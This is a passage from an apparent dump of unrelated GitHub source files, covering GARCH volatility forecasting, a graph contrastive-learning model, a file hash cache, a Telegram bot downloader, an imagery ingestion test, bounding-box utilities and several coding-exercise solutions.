df_results = pd.DataFrame(data=np.c_[MAE, MSE, HMAE, HMSE].T, columns=[model + ' ' + x for x in ['in-sample', 'out-of-sample', 'total']], index=['MAE', 'MSE', 'HMAE', 'HMSE']).T\n\n if verbose:\n \n display(Markdown('####

GARCH model results'))\n print(res.summary())\n \n display(Markdown('####

Plot forecast by model vs realized vol'))\n ax = plt.gca()\n forecasted_vol.plot(color='g', ax=ax, alpha=1, label='prediction oos')\n rvol.plot(color='blue', ax=ax, label='ground truth')\n res.conditional_volatility.plot(color='orange', ax=ax, label='prediction in-sample')\n ax.legend()\n \n display(Markdown('####

Results of out-of-sample forecasts with various loss functions'))\n display(df_results)\n \n return df_results\n\n\n# %%\ngarch_results1 = run_garch(y=y1*100, rvol=rvol1*100, model='GARCH', split_date=split_date, verbose=False)\ngarch_results2 = run_garch(y=y2*100, rvol=rvol2*100, model='GARCH', split_date=split_date, verbose=False)\negarch_results1 = run_garch(y=y1*100, rvol=rvol1*100, model='EGARCH', split_date=split_date, verbose=False)\negarch_results2 = run_garch(y=y2*100, rvol=rvol2*100, model='EGARCH', split_date=split_date, verbose=False)\newma_results1 = run_garch(y=y1*100, rvol=rvol1*100, model='EWMA', split_date=split_date, verbose=False)\newma_results2 = run_garch(y=y2*100, rvol=rvol2*100, model='EWMA', split_date=split_date, verbose=False)\n\n\n# %%\nus_result = pd.concat([garch_results1, egarch_results1, ewma_results1])\nus_result\n\n\n# %%\nkr_result = pd.concat([garch_results2, egarch_results2, ewma_results2])\nkr_result\n\n# %% [markdown]\n# ## Prepare GARCH variables for LSTM training - Entire Dataset\n\n# %%\ndef run_garch_simple(y, mean_model, vol_model, split_date, x=None, verbose=False):\n\n # specify mean model\n if mean_model == \"CONST\":\n ls = ConstantMean(y)\n elif mean_model == 'LS':\n ls = LS(y=y, x=x)\n elif mean_model == 'ARX':\n ls = ARX(y=y, lags=1)\n else:\n print(\"Misspecified mean model name. Please choose between CONST, LS, ARX.\")\n \n # specify volatility model\n if vol_model == \"GARCH\":\n ls.volatility = GARCH(p=1, q=1)\n elif vol_model == \"EGARCH\":\n ls.volatility = EGARCH(p=1, o=1, q=1)\n elif vol_model == \"EWMA\":\n ls.volatility = EWMAVariance(lam=None)\n else:\n print(\"Misspecified volatility process name. Please choose between GARCH, EGARCH, EWMA.\")\n \n res = ls.fit(disp='off', last_obs=split_date)\n \n if verbose:\n display(Markdown('####

GARCH model results'))\n print(res.summary())\n \n return res\n\n\n# %%\ndef generate_garch_variables(ret_data, split_date):\n \n # GARCH\n garch_res = run_garch_simple(ret_data * 100, mean_model='CONST', vol_model='GARCH', split_date=split_date)\n garch_forecast = garch_res.forecast(horizon=1)\n \n garch_cond_vol_train= garch_res.conditional_volatility.shift(1).dropna().to_frame()\n garch_cond_vol_test = np.sqrt(garch_forecast.variance.shift(2).dropna())\n garch_cond_vol_train.columns = ['cond_vol']\n garch_cond_vol_test.columns = ['cond_vol']\n garch_cond_vol = pd.concat([garch_cond_vol_train, garch_cond_vol_test], axis=0)\n garch_resid = ret_data.shift(1).dropna() - garch_res.params[0]\n \n garch_var1 = garch_res.params[3] * np.square(garch_cond_vol)\n garch_var1.columns = ['garch_cond_vol']\n garch_var2 = garch_res.params[2] * np.square(garch_resid).to_frame()\n garch_var2.columns = ['garch_resid']\n\n # EGARCH\n egarch_res = run_garch_simple(ret_data * 100, mean_model='CONST', vol_model='EGARCH', split_date=split_date)\n egarch_forecast = egarch_res.forecast(horizon=1)\n \n egarch_cond_vol_train = egarch_res.conditional_volatility.shift(1).dropna().to_frame()\n egarch_cond_vol_test = np.sqrt(egarch_forecast.variance.shift(2).dropna())\n egarch_cond_vol_train.columns = ['cond_vol']\n egarch_cond_vol_test.columns = ['cond_vol']\n egarch_cond_vol = pd.concat([egarch_cond_vol_train, egarch_cond_vol_test], axis=0)\n egarch_resid = ret_data.shift(1).dropna() - egarch_res.params[0]\n egarch_std_resid = egarch_resid / egarch_cond_vol.iloc[:, 0]\n \n egarch_var1 = egarch_res.params[4] * np.log(np.square(egarch_cond_vol))\n egarch_var1.columns = ['egarch_cond_vol']\n egarch_var2 = egarch_res.params[3] * egarch_std_resid.to_frame()\n egarch_var2.columns = ['egarch_std_resid']\n egarch_var3 = egarch_res.params[2] * (np.abs(egarch_std_resid) - np.sqrt(2 / np.pi)).to_frame()\n egarch_var3.columns = ['egarch_asymmetric']\n\n # EWMA\n ewma_res = run_garch_simple(ret_data * 100, mean_model='CONST', vol_model='EWMA', split_date=split_date)\n ewma_forecast = ewma_res.forecast(horizon=1)\n \n ewma_cond_vol_train = ewma_res.conditional_volatility.shift(1).dropna().to_frame()\n ewma_cond_vol_test = np.sqrt(ewma_forecast.variance.shift(2).dropna())\n ewma_cond_vol_train.columns = ['cond_vol']\n ewma_cond_vol_test.columns = ['cond_vol']\n ewma_cond_vol = pd.concat([ewma_cond_vol_train, ewma_cond_vol_test], axis=0)\n ewma_resid = ret_data.shift(1).dropna() - ewma_res.params[0]\n\n ewma_var1 = ewma_res.params[1] * np.square(ewma_cond_vol)\n ewma_var1.columns = ['ewma_cond_vol']\n ewma_var2 = (1 - ewma_res.params[1]) * np.square(ewma_resid).to_frame()\n ewma_var2.columns = ['ewma_resid']\n\n var = pd.concat([garch_var1, garch_var2, egarch_var1, egarch_var2, egarch_var3, ewma_var1, ewma_var2], axis=1)\n return var\n\n\n# %%\nstart_date = dt.datetime(2000, 1, 3)\nsplit_date = dt.datetime(2013, 12, 31)\n\nyy1 = spx_ret_data.loc[spx_ret_data.index > start_date]\nyy2 = kospi_ret_data.loc[kospi_ret_data.index > start_date]\n\nus_variables = generate_garch_variables(yy1, split_date=split_date)\nkr_variables = generate_garch_variables(yy2, split_date=split_date)\n\n\n# %%\nus_variables.head()\n\n\n# %%\nkr_variables.head()\n\n# %% [markdown]\n# ## Rolling \n\n# %%\ndef run_garch_rolling(y, rvol, model, split_date, x=None, verbose=True, lam=None):\n\n # specify mean model\n ls = ConstantMean(y=y)\n \n # specify volatility model\n if model == \"GARCH\":\n ls.volatility = GARCH(p=1, q=1)\n elif model == \"EGARCH\":\n ls.volatility = EGARCH(p=1, o=1, q=1)\n elif model == \"EWMA\":\n ls.volatility = EWMAVariance(lam)\n else:\n print(\"Misspecified volatility process name\")\n \n res = ls.fit(disp='off', last_obs=split_date)\n \n forecasts_1d = res.forecast(horizon=1)\n forecasted_vol = forecasts_1d.variance.pow(0.5).shift(1).dropna()\n \n test_merged = rvol.join(forecasted_vol).dropna()\n train_merged = rvol.join(res.conditional_volatility).dropna()\n\n test_MAE = np.abs(test_merged.iloc[:,0] - test_merged.iloc[:,1]).sum()\n train_MAE = np.abs(train_merged.iloc[:,0] - train_merged.iloc[:,1]).sum()\n MAE = [train_MAE, test_MAE]\n \n test_MSE = np.square(test_merged.iloc[:,0] - test_merged.iloc[:,1]).sum()\n train_MSE = np.square(train_merged.iloc[:,0] - train_merged.iloc[:,1]).sum()\n MSE = [train_MSE, test_MSE]\n \n test_HMAE = np.abs(1 - test_merged.iloc[:,1] / test_merged.iloc[:,0]).sum()\n train_HMAE = np.abs(1 - train_merged.iloc[:,1] / train_merged.iloc[:,0]).sum()\n HMAE = [train_HMAE, test_HMAE]\n \n test_HMSE = np.square(1 - test_merged.iloc[:,1] / test_merged.iloc[:,0]).sum()\n train_HMSE = np.square(1 - train_merged.iloc[:,1] / train_merged.iloc[:,0]).sum()\n HMSE = [train_HMSE, test_HMSE]\n\n df_results = pd.DataFrame(data=np.c_[MAE, MSE, HMAE, HMSE].T, columns=[model + ' ' + x for x in ['in-sample', 'out-of-sample']], index=['MAE', 'MSE', 'HMAE', 'HMSE']).T\n \n return df_results, len(train_merged), len(test_merged)\n\n\n# %%\ndef get_rolling_results(df_return, rvol, start_date, split_date, window):\n\n start_pos = df_return.index.get_loc(start_date)\n end_pos = df_return.index.get_loc(split_date) + window + 1\n n = (df_return.index.get_loc(df_return.index[-1]) - df_return.index.get_loc(split_date)) / window\n garch_results = pd.DataFrame()\n egarch_results = pd.DataFrame()\n ewma_results = pd.DataFrame()\n sample_length = 0 \n \n for i in range(int(n)):\n \n y_temp = df_return.iloc[start_pos + i * window : end_pos + i * window]\n rvol_temp = rvol.iloc[start_pos + i * window : end_pos + i * window]\n split_date_temp = df_return.index[df_return.index.get_loc(split_date) + i * window]\n \n garch_results_temp_full = run_garch_rolling(y=y_temp*100, rvol=rvol_temp*100, model='GARCH', split_date=split_date_temp, verbose=False)\n garch_results_temp = garch_results_temp_full[0]\n sample_length += garch_results_temp_full[2]\n egarch_results_temp = run_garch_rolling(y=y_temp*100, rvol=rvol_temp*100, model='EGARCH', split_date=split_date_temp, verbose=False)[0]\n ewma_results_temp = run_garch_rolling(y=y_temp*100, rvol=rvol_temp*100, model='EWMA', split_date=split_date_temp, verbose=False)[0]\n \n garch_results = pd.concat([garch_results, garch_results_temp.iloc[1, :]], axis=1)\n egarch_results = pd.concat([egarch_results, egarch_results_temp.iloc[1, :]], axis=1)\n ewma_results = pd.concat([ewma_results, ewma_results_temp.iloc[1, :]], axis=1)\n \n results = pd.concat([garch_results.T.reset_index(drop=True), egarch_results.T.reset_index(drop=True), ewma_results.T.reset_index(drop=True)], axis=1)\n results.columns = pd.MultiIndex.from_product([['GARCH', 'EGARCH', 'EWMA'], results.columns[:4]])\n \n return results, sample_length\n\n# %% [markdown]\n# ### Out-of-sample results for rolling estimation\n# #### (date index represents last day of test data)\n\n# %%\nus_rolling_result_raw, us_l = get_rolling_results(spx_ret_data, rvol=rvol1, start_date=dt.datetime(2000, 1, 4), split_date=dt.datetime(2013, 12, 31), window=22)\nus_rolling_result = us_rolling_result_raw.sum(axis=0) / us_l\n\n\n# %%\nus_result_oos = us_result[us_result.index.str.endswith('out-of-sample')].stack()\n\n\n# %%\nus_result_oos.index = us_rolling_result.index\n\n\n# %%\nus_compare = pd.concat([us_rolling_result, us_result_oos], axis=1)\nus_compare.columns = ['rolling', 'static']\nus_compare\n\n\n# %%\nkr_rolling_result_raw, kr_l = get_rolling_results(kospi_ret_data, rvol=rvol2, start_date=dt.datetime(2000, 1, 4), split_date=dt.datetime(2013, 12, 30), window=22)\nkr_rolling_result = kr_rolling_result_raw.sum(axis=0) / kr_l\n\n\n# %%\nkr_result_oos = kr_result[kr_result.index.str.endswith('out-of-sample')].stack()\n\n\n# %%\nkr_result_oos.index = kr_rolling_result.index\n\n\n# %%\nkr_compare = pd.concat([kr_rolling_result, kr_result_oos], axis=1)\nkr_compare.columns = ['rolling', 'static']\nkr_compare\n\n\n# %%\n\n\n\n","repo_name":"sugariceTT/mfe_term3_230T2","sub_path":"garch_models.py","file_name":"garch_models.py","file_ext":"py","file_size_in_byte":15710,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"38517471416","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport dgl\nfrom dgl.nn import GraphConv\nfrom torch_geometric.nn import GCNConv\n\nclass Encoder(nn.Module):\n def __init__(self, in_channels, out_channels, activation, layers= 2):\n super().__init__()\n self.layers = layers\n self.conv = [GCNConv(in_channels, 2 * out_channels)]\n for _ in range(1, layers - 1):\n self.conv.append(GCNConv(2 * out_channels, 2 * out_channels))\n self.conv.append(GCNConv(2 * out_channels, out_channels))\n self.conv = nn.ModuleList(self.conv)\n self.activation = activation\n\n def forward(self, features: torch.Tensor, edges: torch.Tensor):\n for i in range(self.layers):\n features = self.activation(self.conv[i](features, edges))\n return features\n\nclass Model(nn.Module):\n def __init__(self, encoder, num_hidden, num_proj_hidden, tau):\n super().__init__()\n self.encoder = encoder\n self.tau = tau\n self.linear1 = torch.nn.Linear(num_hidden, num_proj_hidden)\n self.linear2 = torch.nn.Linear(num_proj_hidden, num_hidden)\n\n def forward(self, features, edges, evalmode=False):\n if evalmode:\n self.encoder.eval()\n else:\n self.encoder.train()\n return self.encoder(features, edges)\n\n def semi_loss(self, z1: torch.Tensor, z2: torch.Tensor):\n f = lambda x: torch.exp(x / self.tau)\n refl_sim = f(\n torch.mm(F.normalize(z1), F.normalize(z1).t())\n )\n between_sim = f(\n torch.mm(F.normalize(z1), F.normalize(z2).t())\n )\n\n return -torch.log(between_sim.diag() / (refl_sim.sum(1) + between_sim.sum(1) - refl_sim.diag()))\n\n def loss(self, embeddings1, embeddings2):\n z1 = self.linear2(F.elu(self.linear1(embeddings1)))\n z2 = self.linear2(F.elu(self.linear1(embeddings2)))\n\n l1 = self.semi_loss(z1, z2)\n l2 = self.semi_loss(z2, z1)\n\n ret = (l1 + l2) * 0.5\n ret = ret.mean()\n\n return ret\n\ndef drop_feature(features, drop_prob):\n drop_mask = torch.empty((features.size(1),), dtype=torch.float32, device=features.device).uniform_(0, 1) < drop_prob\n features = features.clone()\n features[:, drop_mask] = 0\n\n return features","repo_name":"Kumaizep/NTHU_DS_Homework3_NodeClassification","sub_path":"version4/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72372725630","text":"import os\nimport sys\nimport json\nimport hashlib\n\nimport moban.utils as utils\nimport moban.constants as constants\n\nPY2 = sys.version_info[0] == 2\n\n\nclass HashStore:\n IGNORE_CACHE_FILE = False\n\n def __init__(self):\n self.cache_file = constants.DEFAULT_MOBAN_CACHE_FILE\n if os.path.exists(self.cache_file) and self.IGNORE_CACHE_FILE is False:\n with open(self.cache_file, \"r\") as f:\n self.hashes = json.load(f)\n else:\n self.hashes = {}\n\n def is_file_changed(self, file_name, file_content, source_template):\n changed = self._is_source_updated(\n file_name, file_content, source_template\n )\n\n if changed is False:\n target_hash = get_file_hash(file_name)\n if target_hash != self.hashes[file_name]:\n changed = True\n return changed\n\n def _is_source_updated(self, file_name, file_content, source_template):\n changed = True\n content = _mix(\n file_content, oct(utils.file_permissions(source_template))\n )\n content_hash = get_hash(content)\n if os.path.exists(file_name):\n if file_name in self.hashes:\n if content_hash == self.hashes[file_name]:\n changed = False\n # else the dest file has not been created yet\n # so no need to get content hash at all\n if changed:\n self.hashes[file_name] = content_hash\n\n return changed\n\n def save_hashes(self):\n with open(self.cache_file, \"w\") as f:\n json.dump(self.hashes, f)\n\n\nHASH_STORE = HashStore()\n\n\ndef get_file_hash(afile):\n with open(afile, \"rb\") as handle:\n content = handle.read()\n content = _mix(content, oct(utils.file_permissions(afile)))\n return get_hash(content)\n\n\ndef get_hash(content):\n md5 = hashlib.md5()\n if PY2 and content.__class__.__name__ == \"unicode\":\n content = content.encode(\"utf-8\")\n md5.update(content)\n return md5.digest().decode(\"latin1\")\n\n\ndef _mix(content, file_permissions_copy):\n if not PY2:\n file_permissions_copy = file_permissions_copy.encode(\"utf-8\")\n return content + file_permissions_copy\n","repo_name":"bopopescu/Pricing","sub_path":"pricingenv/Lib/site-packages/moban/hashstore.py","file_name":"hashstore.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18545143928","text":"# https://www.acmicpc.net/problem/3055\n\nfrom collections import deque\nr, c = map(int, input().split())\ngraph = [list(map(str, input())) for _ in range(r)]\n\n\ndef bfs(graph):\n # U D L R\n dx = [0, 0, -1, 1]\n dy = [-1, 1, 0, 0]\n\n water = deque()\n queue = deque()\n\n\n for i in range(r): # 물과 고슴도치 시작 위치 저장\n for j in range(c):\n if graph[i][j] == '*':\n water.append([i, j])\n\n if graph[i][j] == 'S':\n graph[i][j] = 0\n queue.append([i, j])\n\n ban = 0\n while queue:\n \n for _ in range(len(water)): # 현재 물 다 쓰기\n x, y = water.popleft()\n\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0 <= nx < r and 0 <= ny < c:\n if graph[nx][ny] != 'X' and graph[nx][ny] != 'D' and graph[nx][ny] != '*' and graph[nx][ny] != ban: # 세번째 조건을 안 넣으면 메모리초과 뜸\n graph[nx][ny] = '*'\n water.append([nx, ny])\n\n \n for _ in range(len(queue)): # 고슴도치 이동\n x, y = queue.popleft()\n\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0 <= nx < r and 0 <= ny < c:\n if graph[nx][ny] == 'D':\n return graph[x][y] + 1\n\n if graph[nx][ny] == '.':\n graph[nx][ny] = graph[x][y] + 1\n ban = graph[x][y] + 1\n queue.append([nx, ny])\n \n return False\n\n\n\nresult = bfs(graph)\n\nprint(result if result else \"KAKTUS\")","repo_name":"study-room-for-dogyun/Baeckjoon","sub_path":"code.plus/기초 - 그래프와 BFS/3055.py","file_name":"3055.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"72947700991","text":"#!/usr/bin/env python3\n\n# Reading lines from input\nexpensesFile = \"day1.input\"\nexpensesHandle = open(expensesFile, \"r\")\nexpensesNumbersStr = expensesHandle.readlines()\nexpensesHandle.close()\n\nexpensesNumbers = []\n\nfor expensesNumber in expensesNumbersStr:\n expensesNumbers.append(int(expensesNumber))\n# And storing every line as an integer.\n\nfor firstNumber in expensesNumbers:\n for secondNumber in expensesNumbers:\n total = firstNumber + secondNumber\n if total == 2020:\n print(\"The pair is \" + str(firstNumber) + \" and \" + str(secondNumber))\n print(\"Puzzle answer: \" + str(firstNumber * secondNumber))\n exit(0)\n","repo_name":"kotek14/AdventOfCode2020","sub_path":"Day01/d1.one.py","file_name":"d1.one.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"33881008940","text":"import json\nimport logging\nimport os.path\nimport random\nimport string\nfrom time import sleep\n\nfrom discrete_kit.functions.shape_functions import ShapeToJSON\nfrom mc_automation_tools.ingestion_api import overseer_api\n\nfrom server_automation.configuration import config\nfrom server_automation.functions.executors import (\n copy_geopackage_file_for_ingest,\n)\nfrom server_automation.functions.executors import follow_running_job_manager\nfrom server_automation.functions.executors import follow_running_task\nfrom server_automation.functions.executors import stop_watch\nfrom server_automation.functions.executors import validate_geopack_pycsw\nfrom server_automation.functions.executors import validate_mapproxy_layer\n\n# from mc_automation_tools.validators import pycsw_validator\n# from conftest_val import ValueStorage\n\n# from server_automation.functions.executors import validate_new_discrete\n# from server_automation.postgress import postgress_adapter\n\n_log = logging.getLogger(\n \"server_automation.tests.test_manual_geopackage_ingestion\"\n)\n\n\ndef test_manual_ingestion_geopackage():\n stop_watch()\n\n # ToDo: Copy GeoPack file to Folder\n status_code, resp = copy_geopackage_file_for_ingest()\n src_folder_to_copy = resp[\"source\"]\n assert (\n status_code == config.ResponseCode.ChangeOk.value\n ), f\"Test: [{test_manual_ingestion_geopackage.__name__}] Failed: on copy src {src_folder_to_copy} status code : [{status_code}]\"\n _log.info(f\"Finished - copy {src_folder_to_copy} to watch folder\")\n if config.OVERSEER_JSON_LOCATION is None:\n path_to_overseer = os.path.dirname(\n os.path.dirname(os.path.abspath(__file__))\n )\n path_to_overseer = os.path.join(\n path_to_overseer, \"configuration\", \"os_param.json\"\n )\n else:\n path_to_overseer = config.OVERSEER_JSON_LOCATION\n # ToDo: Start Manual ingestion with api\n os_manager = overseer_api.Overseer(end_point_url=config.OVERSEER_END_URL)\n os_param = path_to_overseer\n try:\n with open(os_param, \"r\", encoding=\"utf-8\") as fp:\n params = json.load(fp)\n except Exception as e:\n raise EnvironmentError(\"Failed to load JSON for configuration\") from e\n letters = string.ascii_lowercase\n my_json = ShapeToJSON().create_metadata_from_toc(params[\"metadata\"])\n product_name = \"\".join(random.choice(letters) for i in range(10))\n params[\"metadata\"][\"productId\"] = product_name\n my_json[\"productId\"][\"value\"] = product_name\n if config.SOURCE_DATA_PROVIDER.lower() == \"pv\":\n params[\"originDirectory\"] = (\n params[\"originDirectory\"] + config.GEO_PACKAGE_DEST_PVC\n )\n if config.SOURCE_DATA_PROVIDER.lower() == \"nfs\":\n params[\"originDirectory\"] = config.GEO_PACKAGE_DEST_NFS\n\n resp, body = os_manager.create_layer(params)\n\n body_json = json.loads(body)\n _log.info(f\"productId is: {body_json['metadata']['productId']}\")\n assert (\n resp == config.ResponseCode.Ok.value\n ), f\"Test: [{test_manual_ingestion_geopackage.__name__}] Failed: on creating layer , status code : {resp}, body:{body}\"\n\n try:\n if config.FOLLOW_JOB_BY_MANAGER: # following based on job manager api\n _log.info(\"Start following job-tasks based on job manager api\")\n ingestion_follow_state = follow_running_job_manager(\n body_json[\"metadata\"][\"productId\"],\n body_json[\"metadata\"][\"productVersion\"],\n )\n else: # following based on bff service\n ingestion_follow_state = follow_running_task(\n body_json[\"metadata\"][\"productId\"],\n body_json[\"metadata\"][\"productVersion\"],\n )\n _log.info(\"Start following job-tasks based on bff api\")\n resp = (\n ingestion_follow_state[\"status\"] == config.JobStatus.Completed.name\n )\n error_msg = ingestion_follow_state[\"message\"]\n\n except Exception as e:\n resp = None\n error_msg = str(e)\n assert (\n resp\n ), f\"Test: [{test_manual_ingestion_geopackage.__name__}] Failed: on following ingestion process [{error_msg}]\"\n _log.info(f\"watch ingestion following task response:{resp}\")\n\n # ToDo: Validate pycsw record\n try:\n resp, pycsw_record, links = validate_geopack_pycsw(\n {\"metadata\": my_json},\n body_json[\"metadata\"][\"productId\"],\n body_json[\"metadata\"][\"productVersion\"],\n )\n # todo this is legacy records validator based graphql -> for future needs maybe\n # resp, pycsw_record = executors.validate_pycsw(config.GQK_URL, product_id, source_data)\n state = resp[\"validation\"]\n error_msg = resp[\"reason\"]\n reason_e = resp[\"reason\"]\n except Exception as e:\n state = False\n error_msg = str(e)\n _log.error(f\"error : {error_msg}\")\n assert (\n state\n ), f\"Test: [{test_manual_ingestion_geopackage.__name__}] Failed: on validation, error msg : {reason_e}, exception:{error_msg}\"\n sleep(config.DELAY_MAPPROXY_PYCSW_VALIDATION)\n try:\n params = {\n \"mapproxy_endpoint_url\": config.MAPPROXY_URL,\n \"tiles_storage_provide\": config.TILES_PROVIDER,\n \"grid_origin\": config.MAPPROXY_GRID_ORIGIN,\n \"nfs_tiles_url\": config.NFS_TILES_DIR,\n }\n\n if config.TILES_PROVIDER.lower() == \"s3\":\n params[\"endpoint_url\"] = config.S3_ENDPOINT_URL\n params[\"access_key\"] = config.S3_ACCESS_KEY\n params[\"secret_key\"] = config.S3_SECRET_KEY\n params[\"bucket_name\"] = config.S3_BUCKET_NAME\n\n result = validate_mapproxy_layer(\n pycsw_record,\n body_json[\"metadata\"][\"productId\"],\n body_json[\"metadata\"][\"productVersion\"],\n params,\n )\n mapproxy_validation_state = result[\"validation\"]\n msg = result[\"reason\"]\n\n except Exception as e:\n mapproxy_validation_state = False\n msg = str(e)\n\n assert mapproxy_validation_state, (\n f\"Test: [{test_manual_ingestion_geopackage.__name__}] Failed: Validation of mapproxy urls\\n\"\n f\"related errors:\\n\"\n f\"{msg}\"\n )\n\n # try:\n # resp = validate_new_discrete(pycsw_record, body_json['metadata']['productId'],\n # body_json['metadata']['productVersion'])\n # state = resp[\"validation\"]\n # error_msg = resp[\"reason\"]\n # except Exception as e:\n # state = False\n # error_msg = str(e)\n # _log.error(f'error : {error_msg}')\n # ToDo: New discrete mapproxy\n \"\"\"\n After getting ok ,\n verify job is created\n try:\n resp = executors.validate_sync_job_creation(ingestion_product_id,\n ingestion_product_version,\n config.JobTaskTypes.SYNC_TRIGGER.value,\n job_manager_url=config.JOB_MANAGER_ROUTE_CORE_A)\n msg = resp['message']\n sync_job_state = resp['state']\n sync_job = resp['record']\n\n except Exception as e:\n sync_job_state = False\n msg = str(e)\n\n assert sync_job_state, f'Test: [{test_trigger_to_gw.__name__}] Failed: Query for new sync job\\n' \\\n f'related errors:\\n' \\\n f'{msg}'\n\n\n\n follow job\n\n sync_job = sync_job[0]\n sync_job_id = sync_job['id']\n cleanup_data['sync_job_id'] = sync_job_id\n\n try:\n resp = executors.follow_sync_job(product_id=ingestion_product_id,\n product_version=ingestion_product_version,\n product_type=config.JobTaskTypes.SYNC_TRIGGER.value,\n job_manager_url=config.JOB_MANAGER_ROUTE_CORE_A,\n running_timeout=config.SYNC_TIMEOUT,\n internal_timeout=config.BUFFER_TIMEOUT_CORE_A)\n sync_follow_state = True if resp['status'] == config.JobStatus.Completed.value else False\n msg = resp['message']\n except Exception as e:\n sync_follow_state = False\n msg = str(e)\n assert sync_follow_state, f'Test: [{test_trigger_to_gw.__name__}] Failed: Follow for sync job complete\\n' \\\n f'related errors:\\n' \\\n f'{msg}'z\n\n\n\n validation\n\n\n\n\n \"\"\"\n\n\n#\nif config.RUN_IT:\n test_manual_ingestion_geopackage()\n","repo_name":"MapColonies/automation-ingestion-test","sub_path":"server_automation/tests/test_manual_geopackage_ingestion.py","file_name":"test_manual_geopackage_ingestion.py","file_ext":"py","file_size_in_byte":8546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12440291141","text":"import os\nimport json\nimport configparser\n\n\nimport requests\n\n\nauth_config = configparser.ConfigParser()\nauth_config.read(os.path.join(os.path.dirname(__file__),\"..\",\"conf\",\"auth.ini\"))\n\nstorage_config = configparser.ConfigParser()\nstorage_config.read(os.path.join(os.path.dirname(__file__),\"..\",\"conf\",\"storage.ini\"))\n\n\ndef download_file(file_id):\n file_stat = requests.get(\"https://api.telegram.org/bot\"+auth_config['bot']['token']+\"/getFile?file_id=\" + file_id)\n file_stat_response = json.loads(file_stat.text)\n if file_stat_response['ok']:\n file_path = file_stat_response['result']['file_path']\n \n data = requests.get(\"https://api.telegram.org/file/bot\"+auth_config['bot']['token']+\"/\"+file_path)\n with open(storage_config['received']['downloads']+\"/\"+file_path.split(\"/\")[-1], 'wb') as downloading:\n for chunk in data.iter_content(chunk_size=512*1024):\n if chunk:\n downloading.write(chunk)\n return file_path.split(\"/\")[-1]\n","repo_name":"Narendra-Neerukonda/remote-pi-manager","sub_path":"workflows/file_downloader.py","file_name":"file_downloader.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"70553290110","text":"from typing import Any, List, Optional, Tuple, Union\n\nimport cv2\nimport numpy as np\nimport torch\nfrom torchvision.ops import batched_nms\n\n\ndef get_index(element: Any, element_list: List[Any]) -> Optional[Any]:\n try:\n index_element = element_list.index(element)\n return index_element\n except ValueError:\n return None\n\n\ndef draw_bbox(\n image: np.ndarray,\n left_top: Tuple[int, int],\n right_bottom: Tuple[int, int],\n text: str,\n bbox_color: Union[str, Tuple[int, int, int]],\n text_color: Union[str, Tuple[int, int, int]],\n thickness: int = 4,\n font_thickness: int = 2,\n font_scale: float = 2,\n font: int = cv2.FONT_HERSHEY_SIMPLEX,\n) -> np.ndarray:\n cv2.rectangle(image, left_top, right_bottom, bbox_color, thickness=thickness)\n cv2.putText(\n image,\n text,\n (left_top[0], left_top[1] - 2),\n font,\n font_scale,\n text_color,\n font_thickness,\n )\n return image\n\n\ndef scale_bboxes_torch(\n bboxes: torch.Tensor, input_size: Tuple[int, ...], output_size: Tuple[int, ...]\n) -> torch.Tensor:\n h_scale = output_size[0] / input_size[0]\n w_scale = output_size[1] / input_size[1]\n bboxes[:, :4] *= torch.tensor([[w_scale, h_scale, w_scale, h_scale]]).to(bboxes.device).to(bboxes.dtype)\n return bboxes\n\n\ndef scale_bboxes_numpy(bboxes: np.ndarray, input_size: Tuple[int, ...], output_size: Tuple[int, ...]) -> np.ndarray:\n h_scale = output_size[0] / input_size[0]\n w_scale = output_size[1] / input_size[1]\n bboxes[:, :4] *= np.array([[w_scale, h_scale, w_scale, h_scale]]).astype(bboxes.dtype)\n return bboxes\n\n\ndef merge_bboxes_torch(\n bboxes: torch.Tensor, input_size: Tuple[int, int], output_size: Tuple[int, int]\n) -> torch.Tensor:\n pass\n\n\ndef nms_all_bboxes(bboxes: torch.Tensor, iou_threshold: float) -> torch.Tensor:\n \"\"\"\n bboxes: torch.Tensor with shape [N, 6]\n \"\"\"\n scores = bboxes[:, 4]\n idxs = torch.zeros_like(scores)\n keep_indices = batched_nms(boxes=bboxes[:, :4], scores=scores, idxs=idxs, iou_threshold=iou_threshold)\n return bboxes[keep_indices]\n","repo_name":"litvinich/patch-parallel-detection-framework","sub_path":"dronedet/utils/bboxes.py","file_name":"bboxes.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10678317100","text":"# question url :: https://leetcode.com/problems/path-sum-ii/\n\n# question instruction ::::::::::::::::::::::::::::::::::::::::::\n\\\n# \\Given the root of a binary tree and an integer targetSum, return all root-to-leaf paths where the sum of the node values in the path equals targetSum. Each path should be returned as a list of the node values, not node references.\n\n# A root-to-leaf path is a path starting from the root and ending at any leaf node. A leaf is a node with no children.\n\n \n\n# Example 1:\n\n\n# Input: root = [5,4,8,11,null,13,4,7,2,null,null,5,1], targetSum = 22\n# Output: [[5,4,11,2],[5,8,4,5]]\n# Explanation: There are two paths whose sum equals targetSum:\n# 5 + 4 + 11 + 2 = 22\n# 5 + 8 + 4 + 5 = 22\n# Example 2:\n\n\n# Input: root = [1,2,3], targetSum = 5\n# Output: []\n# Example 3:\n\n# Input: root = [1,2], targetSum = 0\n# Output: []\n\n# solutioN :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution: \n def dfs(self, root, target , curr, temp, res):\n if not root:\n return 0\n curr += root.val\n temp.append(root.val)\n if not root.left and not root.right:\n if target 